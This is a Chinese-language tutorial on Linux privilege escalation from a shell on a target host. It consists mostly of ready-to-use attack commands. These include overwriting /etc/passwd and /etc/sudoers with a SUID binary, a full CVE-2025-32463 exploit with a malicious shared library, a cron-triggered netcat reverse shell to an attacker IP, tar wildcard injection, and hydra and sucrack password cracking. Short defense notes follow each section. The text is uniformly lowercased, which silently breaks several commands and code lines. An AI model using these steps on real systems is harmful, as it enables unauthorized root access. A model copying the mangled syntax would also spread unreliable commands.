当前位置: 代码网 > 服务器>服务器>Linux > Linux提权实现过程

Linux提权实现过程

2026年07月31日 Linux 我要评论
前言在渗透测试中,拿到一个 webshell 或低权限 shell 只是第一步,真正的目标是获取目标主机的最高权限。本文基于实战角度,详细讲解以下 6 种最经典的 linux 提权方法:内核漏洞提权

前言

在渗透测试中,拿到一个 webshell 或低权限 shell 只是第一步,真正的目标是获取目标主机的最高权限

本文基于实战角度,详细讲解以下 6 种最经典的 linux 提权方法

  1. 内核漏洞提权 — 直接利用系统漏洞
  2. suid 提权 — 利用文件权限配置不当
  3. sudo 提权 — 利用 sudo 配置疏漏或漏洞
  4. cronjobs 提权 — 利用定时任务配置疏漏
  5. 查找敏感文件提权 — 密码复用是最快的路
  6. 暴力.破.解提权 — 最原始但有效的方法

一、内核漏洞提权

1.1 什么是 linux 内核漏洞

linux 内核是操作系统的核心,负责管理硬件资源、进程调度、内存管理等。由于 linux 内核是开源项目,拥有近百万次 commit、超过 5000 名开发者,代码修改频繁,难免存在漏洞。

内核漏洞提权的原理:利用 linux 内核中存在的安全漏洞,执行具有高权限的任意代码,从而将普通用户权限提升至 root。

1.2 提权三步骤

第一步:收集信息

拿到目标 shell 后,首先需要确认系统的发行版本和内核版本:

# 查看发行版本
lsb_release -a

# 如果系统不支持 lsb_release,使用以下命令
cat /etc/os-release

# 查看内核版本(最关键)
uname -r

# 查看更详细的信息
uname -a

# 检查用户命名空间是否启用(某些 exploit 需要)
cat /proc/sys/kernel/unprivileged_userns_clone
# 返回 1 表示启用,0 表示禁用

第二步:查找漏洞

有了版本号之后,去 exploit-db 搜索对应版本的内核漏洞。

搜索技巧:

  • 在 search 框输入关键词组合,例如:privilege kernel 2.6 ubuntu
  • 在 filter 中设置 type 为 local、platform 为 linux
  • 优先选择已验证的 exp(带有绿色勾标记的)

如果你使用的是 kali linux,也可以用命令行工具 searchsploit:

searchsploit privilege | grep -i linux | grep -i kernel | grep -i 2.6

第三步:执行攻击

大多数情况下,靶机无法连接外网,所以需要先将 exp 下载到攻击机,再上传到靶机:

# 在攻击机上下载 exp(注意 exploit-db 的下载链接格式可能会变)
wget https://www.exploit-db.com/download/8572 -o /tmp/exploit.c

# 攻击机搭建 http 服务
cd /tmp
python3 -m http.server 8000

# 靶机下载 exp
wget 192.168.122.1:8000/exploit.c -p /tmp

# 编译 exp(需要 gcc)
cd /tmp
gcc exploit.c -o exploit

# 执行 exp
./exploit

如果靶机没有 gcc,可以在攻击机编译好后上传:gcc -static exploit.c -o exploit

1.3 现代内核漏洞示例

以下是近年来影响广泛的内核提权漏洞(截至 2026 年):

cve 编号影响范围说明
cve-2024-1086内核 v3.15~v6.8netfilter nf_tables 双重释放漏洞,已被勒索软件利用,99.4% 成功率
cve-2026-46333各主流发行版ptrace 路径下的本地 root 提权 + 凭据泄露,可直接读取 /etc/shadow
cve-2021-4034pkexec 本地提权几乎影响所有主流发行版,利用极为稳定

1.4 注意事项

内核漏洞利用可能导致系统崩溃,请优先尝试其他方法

并非每个 cve 对应的 exp 都能直接成功,遇到失败可以:

  • 更换相同 cve 漏洞的不同 exp
  • 尝试其他 cve 漏洞

内核漏洞利用需要一定的耐心,可能需要多次尝试

现代 linux 有 kaslr、smep、smap 等内核防护机制,exp 可能需要绕过这些缓解措施,成功率不如从前

1.5 工具推荐:linux-exploit-suggester

这是一个根据内核版本自动查找可利用漏洞的脚本:

# 下载
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# 执行
./linux-exploit-suggester.sh

# 如果靶机 bash 版本过低,可以手动指定内核信息
./linux-exploit-suggester.sh -u "$(uname -a)"

结果中的 exposure 分级:

  • highly probable:大概率可利用
  • probable:可能成功,可能需要调整
  • less probable:需要额外分析
  • unprobable:可能性极低

一般优先尝试 highly probableprobable 级别的漏洞。

二、suid 提权

2.1 什么是 suid

suid是 linux 中的一种特殊权限位。当一个可执行文件设置了 suid 位时,任何用户执行该文件,都会以文件所有者(通常是 root)的权限运行

我们以 ping 命令为例:

ls -alh /bin/ping
# 输出中会看到: -rwsr-xr-x  注意这个 's' 就是 suid 标志

ping 需要发送 raw socket,通过 suid 位,普通用户也能使用 ping 命令。

提权的核心思路:如果某个设置了 suid 位的文件(所有者是 root)具有执行系统命令修改文件的功能,我们就可以利用它来提权。

2.2 查找 suid 可执行文件

拿到 shell 后的第一件事就是找哪些文件有 suid 位:

# 三种等价写法
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

2.3 常见 suid 提权命令详解

1. nmap 提权

适用条件:nmap 版本在 2.02 ~ 5.21 之间,且设置了 suid 位

# 查看版本
nmap --version

# 进入交互模式
nmap --interactive

# 在交互模式中执行 shell
!sh

此时获取的 shell 是 root 权限,因为 nmap 以 root 所有者身份运行。

2. find 提权

适用条件:find 命令设置了 suid 位

# find 的 -exec 参数可以执行任意命令
find <任意文件> -exec <命令> \;

# 提权到 root shell(-p 参数必须加)
find test -exec /bin/bash -p \;

为什么必须加 -p 不加 -p 时,bash 会检测到有效 uid 和真实 uid 不一致,自动将权限降回真实 uid。-p 参数告诉 bash 不要降权,保持 suid 赋予的特权。

3. cp 命令提权

适用条件:cp 命令设置了 suid 位

思路:利用 cp 的 root 权限覆盖 /etc/passwd 文件,添加一个 uid=0 的用户。

# 1. 先复制一份 passwd 文件
cat /etc/passwd > ~/passwd

# 2. 生成密码哈希
openssl passwd -1 -salt ignite pass123
# 输出: $1$ignite$3etbjm98o9hz.k1ntdnxe1

# 3. 构造新用户行并追加(uid=0 表示 root 权限)
echo 'hacked:$1$ignite$3etbjm98o9hz.k1ntdnxe1:0:0:root:/root:/bin/bash' >> ~/passwd

# 4. 利用 suid cp 覆盖 /etc/passwd
cp ~/passwd /etc/passwd

# 5. 切换用户,密码 pass123
su hacked
# 此时已是 root 权限!

mv 命令的提权方法与 cp 类似,不再赘述。

补充:利用 cp 的 suid 覆盖 /etc/sudoers

除了覆盖 /etc/passwd,也可以直接修改 sudo 配置让自己获得完全的 sudo 权限:

# 1. 备份当前 sudoers
cp /etc/sudoers /tmp/sudoers.bak

# 2. 添加免密 sudo 权限
echo "$(whoami) all=(all) nopasswd:all" >> /tmp/sudoers.bak

# 3. 利用 suid cp 覆盖
cp /tmp/sudoers.bak /etc/sudoers

# 4. 现在可以无需密码使用 sudo
sudo bash

4. 其他可 suid 提权的命令

命令利用方式
vimvim -c '!sh'
less打开文件后输入 !/bin/bash
moreterm= more /etc/profile → 输入 !/bin/bash
phpphp -r "pcntl_exec('/bin/sh', ['-p']);"
pythonpython -c 'import os; os.execl("/bin/sh", "sh", "-p")'
awkawk 'begin {system("/bin/sh")}'
sedsed -n '1e exec bash -p' /etc/passwd

推荐资源gtfobins 收录了 478+ 个 unix 二进制文件的提权方法,覆盖 suid、sudo、capabilities 等多种场景。实战中查到可疑的 suid 文件后,直接上 gtfobins 搜命令名即可看到对应提权方法。

2.4 防御思路

  • 定期审计系统中所有 suid 文件
  • 移除不必要的 suid 位:chmod u-s <文件路径>
  • 尽量使用 sudo 而非 suid 来管理特权操作
  • 使用 mount -o nosuid 挂载不需要 suid 的分区

三、sudo 提权

3.1 什么是 sudo

sudo(super user do)的作用是让当前用户以 root 或其他用户的身份执行命令。与 suid 不同,sudo 的权限由 /etc/sudoers 配置文件精确控制。

提权的核心思路:如果 /etc/sudoers 配置不当,允许我们以 root 权限执行某些命令,而这些命令恰好能用来获取 shell,就能直接提权。

3.2 查看当前 sudo 权限

拿到 shell 后第一件事:

sudo -l

这条命令会显示当前用户能执行哪些 sudo 命令。看到输出后重点关注两样东西:

  • 允许以 root 身份执行哪些命令
  • 是否需要密码(nopasswd)

3.3 利用方式一:允许执行命令且无参数限制

这是最常见也是最容易利用的配置错误。

假设 sudo -l 输出:

(root) nopasswd: /usr/bin/find

意为当前用户可以无需密码,以 root 权限执行 find 命令。

利用方法——和 suid 提权的思路完全一样:

# find
sudo find /home -exec /bin/bash \;

# 如果允许执行 vim
sudo vim -c '!sh'

# less
sudo less /etc/passwd
# 然后输入 !/bin/bash

# awk
sudo awk 'begin {system("/bin/bash")}'

# man
sudo man man
# 然后输入 !/bin/bash

万能查询:任何可以通过 sudo 执行的命令,都可以去 gtfobins 搜一下,看有没有对应的提权方法。

3.4 利用方式二:允许执行带固定参数的命令

假设 sudo -l 输出:

(root) nopasswd: /bin/less /var/log/messages

注意 /bin/less/var/log/messages 之间没有逗号,说明这是一条完整的命令,参数被写死了。

利用方法——某些命令即使参数固定,也可以用内部命令逃逸:

sudo less /var/log/messages
# 在 less 界面中输入:
!/bin/bash

同样的技巧也适用于 moremanvim 等可以执行内部命令的程序。

3.5 利用方式三:cve-2025-32463(sudo --chroot 提权,cvss 9.3)

这是近年来最严重的 sudo 漏洞之一,于 2025 年披露,影响范围极广。

项目内容
cvecve-2025-32463
影响组件sudo
影响版本sudo 1.9.14 ~ 1.9.17
修复版本sudo 1.9.17p1
cvss9.3
发现者rich mirch (stratascale)

漏洞原理

sudo 从 1.9.14 版本开始引入了 --chroot-r)选项,允许在执行命令前切换根目录。但在实现中,sudo 没有正确清理 chroot 环境中的权限。攻击者可以在自己控制的目录中构建一个恶意的 nsswitch.conf 文件,指向一个恶意的共享库(.so)。当 sudo 以 root 权限加载 nss(名称服务切换)库时,恶意代码被执行,直接获得 root shell。

利用步骤

# 1. 检查 sudo 版本
sudo --version
# 如果是 1.9.14 ~ 1.9.17 之间,则存在漏洞

# 2. 创建恶意共享库 exploit.c
cat > /tmp/exploit.c << 'eof'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

__attribute__((constructor))
void pwn(void) {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", null);
}
eof

# 3. 编译
gcc -shared -o /tmp/exploit.so -fpic /tmp/exploit.c

# 4. 创建恶意 chroot 环境
mkdir -p /tmp/chroot/etc
mkdir -p /tmp/chroot/lib/x86_64-linux-gnu
mkdir -p /tmp/chroot/usr/lib/x86_64-linux-gnu

# 5. 创建恶意的 nsswitch.conf,让 sudo 加载我们的 so
echo "passwd: files exploit" > /tmp/chroot/etc/nsswitch.conf
echo "group: files exploit" >> /tmp/chroot/etc/nsswitch.conf
echo "shadow: files exploit" >> /tmp/chroot/etc/nsswitch.conf

# 6. 复制必要的库文件(视系统架构而定)
cp /lib/x86_64-linux-gnu/{libc.so.6,libnss_files.so.2,ld-linux-x86-64.so.2} /tmp/chroot/lib/x86_64-linux-gnu/ 2>/dev/null
cp /usr/lib/x86_64-linux-gnu/libnss_files.so.2 /tmp/chroot/usr/lib/x86_64-linux-gnu/ 2>/dev/null

# 7. 将恶意 so 放置在 nss 搜索路径中
cp /tmp/exploit.so /tmp/chroot/lib/x86_64-linux-gnu/libnss_exploit.so.2

# 8. 触发漏洞
sudo -r /tmp/chroot id
# 成功则直接获得 root shell

更多 poc 参考

3.6 防御思路

  • 立即升级 sudosudo apt update && sudo apt upgrade sudo
  • 最小化 sudoers 配置,尽量使用 sudo -u 而不是直接给 all
  • 不需要 chroot 功能时,在 sudoers 中禁用 -r 选项
  • 定期审计 sudo -l 的输出,检查是否有异常的 sudo 权限

四、cronjobs 提权

3.1 什么是 cron jobs

cron jobs 是 linux 系统中的定时任务,用于周期性执行命令或脚本(如备份数据、清理缓存等)。如果定时任务以 root 权限运行,且脚本文件或相关目录权限配置不当,就可能被攻击者利用来提权。

3.2 查看定时任务

cat /etc/crontab      # 系统级定时任务
crontab -l            # 当前用户的定时任务
ls -la /etc/cron.*    # 查看 cron 目录下的脚本

3.3 利用场景一:cron 调用的脚本可写

场景:定时任务以 root 权限执行某个脚本,但该脚本对其他用户可写。

假设 /etc/crontab 中有如下配置:

* * * * * root python /home/shiyanlou/cleanup.py

查看脚本权限,发现其他用户有 w(写入)权限:

ls -al /home/shiyanlou/cleanup.py
# -rw-rw-rw-  说明其他用户可写

利用方法一:反弹 root shell

修改 cleanup.py 的内容:

# 反弹 shell 到攻击机
import os
os.system('nc 192.168.1.100 4444 -e /bin/bash')

攻击机监听:

nc -lnvp 4444

等待定时任务执行,即可接收到 root 权限的 shell。

利用方法二:添加 suid

修改 cleanup.py 的内容,给 bash 添加 suid 位:

import os
os.system('chmod +s /bin/bash')

等待执行后:

/bin/bash -p    # 获得 root shell

3.4 利用场景二:cron + 通配符注入

场景:定时任务使用 tar 命令打包目录,且打包目录对当前用户可写。

假设 crontab 中有:

* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

原理:linux shell 会将 - 开头的文件名解释为命令参数。tar 命令有 --checkpoint--checkpoint-action 参数,可以在打包时执行任意命令。

利用步骤

# 进入可写的打包目录
cd /var/www/html/

# 1. 创建反弹 shell 脚本
echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh

# 2. 创建 checkpoint 触发文件(文件名就是 tar 的参数)
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

当 cron 执行 tar 命令时,实际执行的命令变成了:

tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html ...
  • --checkpoint=1:每处理 1 个文件触发一次检查点
  • --checkpoint-action=exec=sh shell.sh:触发时执行 shell.sh

这样就会执行我们的反弹 shell 脚本,获取 root 权限。

两个限制条件

  1. 打包目录必须对当前用户可写
  2. tar 命令中不能使用绝对路径(即不能用 /var/www/html/*,只能用 /var/www/html/

3.5 防御思路

  • cron 调用的脚本文件权限设为 700(仅所有者可读写执行)
  • tar 打包命令中尽量使用全路径+具体文件,避免使用通配符 *
  • 定期审计 /etc/crontab 和各 cron 目录下的脚本

五、查找敏感文件提权

5.1 核心思想

这一方法的本质是 寻找服务器上的认证信息 + 密码复用。管理员经常在不同服务中使用相同或相似的密码,如果能从 web 配置文件、数据库或 bash 历史中找到密码,很可能就直接登录 root 了。

5.2 web 服务配置文件

重点关注 /var/www 目录下的配置文件:

find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null

如果目标使用了 cms(wordpress、drupal、joomla 等),查一下该 cms 的默认配置文件路径。例如 wordpress 的数据库配置在 wp-config.php

more /var/www/wordpress/wp-config.php
# 可能会找到 mysql 连接信息:
# define('db_user', 'root');
# define('db_password', 'cd8m2m8fmidhu4m1');

利用思路

  1. 尝试用该密码直接 ssh 登录 root
  2. 登录 mysql 数据库,查找其他用户的密码
  3. 使用找到的密码尝试 sudo 或 su
# 登录 mysql
mysql -u root -p -h 127.0.0.1

# 在数据库中查找用户表
show databases;
use <数据库名>;
show tables;
select * from <用户表>;

找到的密码可能和系统 root 密码相同(密码复用)。

5.3 用户历史命令

cat ~/.bash_history
cat ~/.bashrc
cat ~/.bash_profile

历史命令中可能泄露密码:

# 例如发现这条记录:
echo tomcat-syl:09fmwnfs7n | chpasswd
# 表示管理员修改了 tomcat-syl 的密码为 09fmwnfs7n

# 尝试 sudo
sudo whoami
# 输入密码 09fmwnfs7n

5.4 备份文件

find /var /etc /home /root /tmp -type f \( -name "*backup*" -o -name "*.bak" -o -name "*.bck" -o -name "*.bk" \) 2>/dev/null

备份文件中经常包含 ssh 密钥、数据库密码、配置文件等敏感信息。

5.5 补充:mysql udf 提权

如果找到 mysql root 密码,且 mysql 以 root 权限运行,可以尝试 udf 提权。

条件

  1. 获取到 mysql root 账户密码
  2. mysql 以 root 权限运行(未被降权)

udf(user defined function)是 mysql 的共享库机制,可以创建执行系统命令的函数(如 sys_execsys_eval),从而执行系统命令。

5.6 防御思路

  • 数据库密码不要与系统密码相同(避免密码复用)
  • web 配置文件的数据库密码使用独立账户,最小权限原则
  • 定期清理 bash 历史记录:history -c
  • 备份文件要加密存储,不要放在 web 目录下
  • mysql 不要以 root 权限运行

六、暴.力破.解提权

6.1 什么时候用暴.力破.解

当你试遍了所有其他方法都无法提权时,暴.力破.解可能是最后的选择。主要有两种途径:

  1. 本地暴.力破.解:通过 su 命令爆破 root 密码
  2. 远程暴.力破.解:通过 ssh 协议爆破 root 密码

6.2 本地暴.力破.解(sucrack)

su 命令需要从 tty shell 获取输入,普通的 shell 脚本无法完成自动化爆破。sucrack 是用 c 语言编写的多线程工具,专门用于通过 su 爆破本地用户密码。

安装 sucrack

# 方法一:apt 安装(靶机能联网时)
sudo apt install sucrack

# 方法二:下载源码编译
# 下载地址:https://leidecker.info/projects/sucrack.shtml

# 方法三:在攻击机编译后上传到靶机

使用示例

# 基本用法:默认爆破 root 密码
sucrack -w 20 wordlists.txt

# 指定用户
sucrack -u myuser -w 20 wordlists.txt

参数说明:

  • -w:指定线程数(建议 20 左右)
  • -u:指定要爆破的用户(默认 root)
  • wordlists.txt:密码字典文件

成功后会显示破解出的密码,然后使用 su root 切换即可。

6.3 远程暴.力破.解(hydra)

前置检查:只有 ssh 配置允许 root 登录时才有意义

cat /etc/ssh/sshd_config | grep -i permitrootlogin
# 必须是 yes 才能尝试

hydra 爆破 ssh

# 基本语法(传统格式)
hydra -l root -p passwords.txt -t 4 -v <目标ip> ssh

# 或者使用 uri 格式(推荐)
hydra ssh://<目标ip>:22 -l root -p passwords.txt -t 4

参数说明:

  • -l:指定用户名(这里是 root)
  • -p:指定密码字典
  • -t:线程数(ssh 建议设置为 4,默认 16 已经偏大,不要使用 -t 64)
  • -v:显示详细的破解进度
  • -o:将结果保存到文件

注意事项

  • ⚠️ ssh 的 -t 参数不要设太大,很多 ssh 服务端会限制并发连接数,建议 -t 4,过大反而容易被 ban 或导致误报
  • hydra v9.0 之前的版本爆破 ssh 容易出现误报,请升级到最新版
  • 爆破行为可能触发系统的 fail2ban 等防护机制
  • ssh 爆破速度较慢,适合作为字典攻击

6.4 暴.力破.解的局限性

  • 速度慢:需要大量请求/尝试
  • 可能被封:系统可能配置了账户锁定或 ip 封禁策略
  • 依赖字典:密码强度取决于字典质量
  • 日志明显:爆破行为会在 /var/log/auth.log 中留下大量失败记录

6.5 防御思路

  • 禁止 root 远程登录 ssh:permitrootlogin no
  • 使用 ssh 密钥认证代替密码认证
  • 部署 fail2ban 等防护工具
  • 设置复杂密码,定期更换
  • 使用 pam 模块设置账户锁定策略

拿到 shell 后,按照以下顺序快速排查:

1. sudo -l                      # 看 sudo 权限(含 cve-2025-32463 检测)
2. find / -perm -4000 2>/dev/null   # 看 suid
3. cat /etc/crontab              # 看定时任务
4. find /var/www -name "*.php" -o -name "*.config"   # 找敏感文件
5. cat ~/.bash_history           # 看历史命令
6. cat /etc/shadow 2>/dev/null   # 检查 shadow 权限
7. uname -r 然后找内核漏洞        # 最后手段

总结

以上为个人经验,希望能给大家一个参考,也希望大家多多支持代码网。

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2026  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com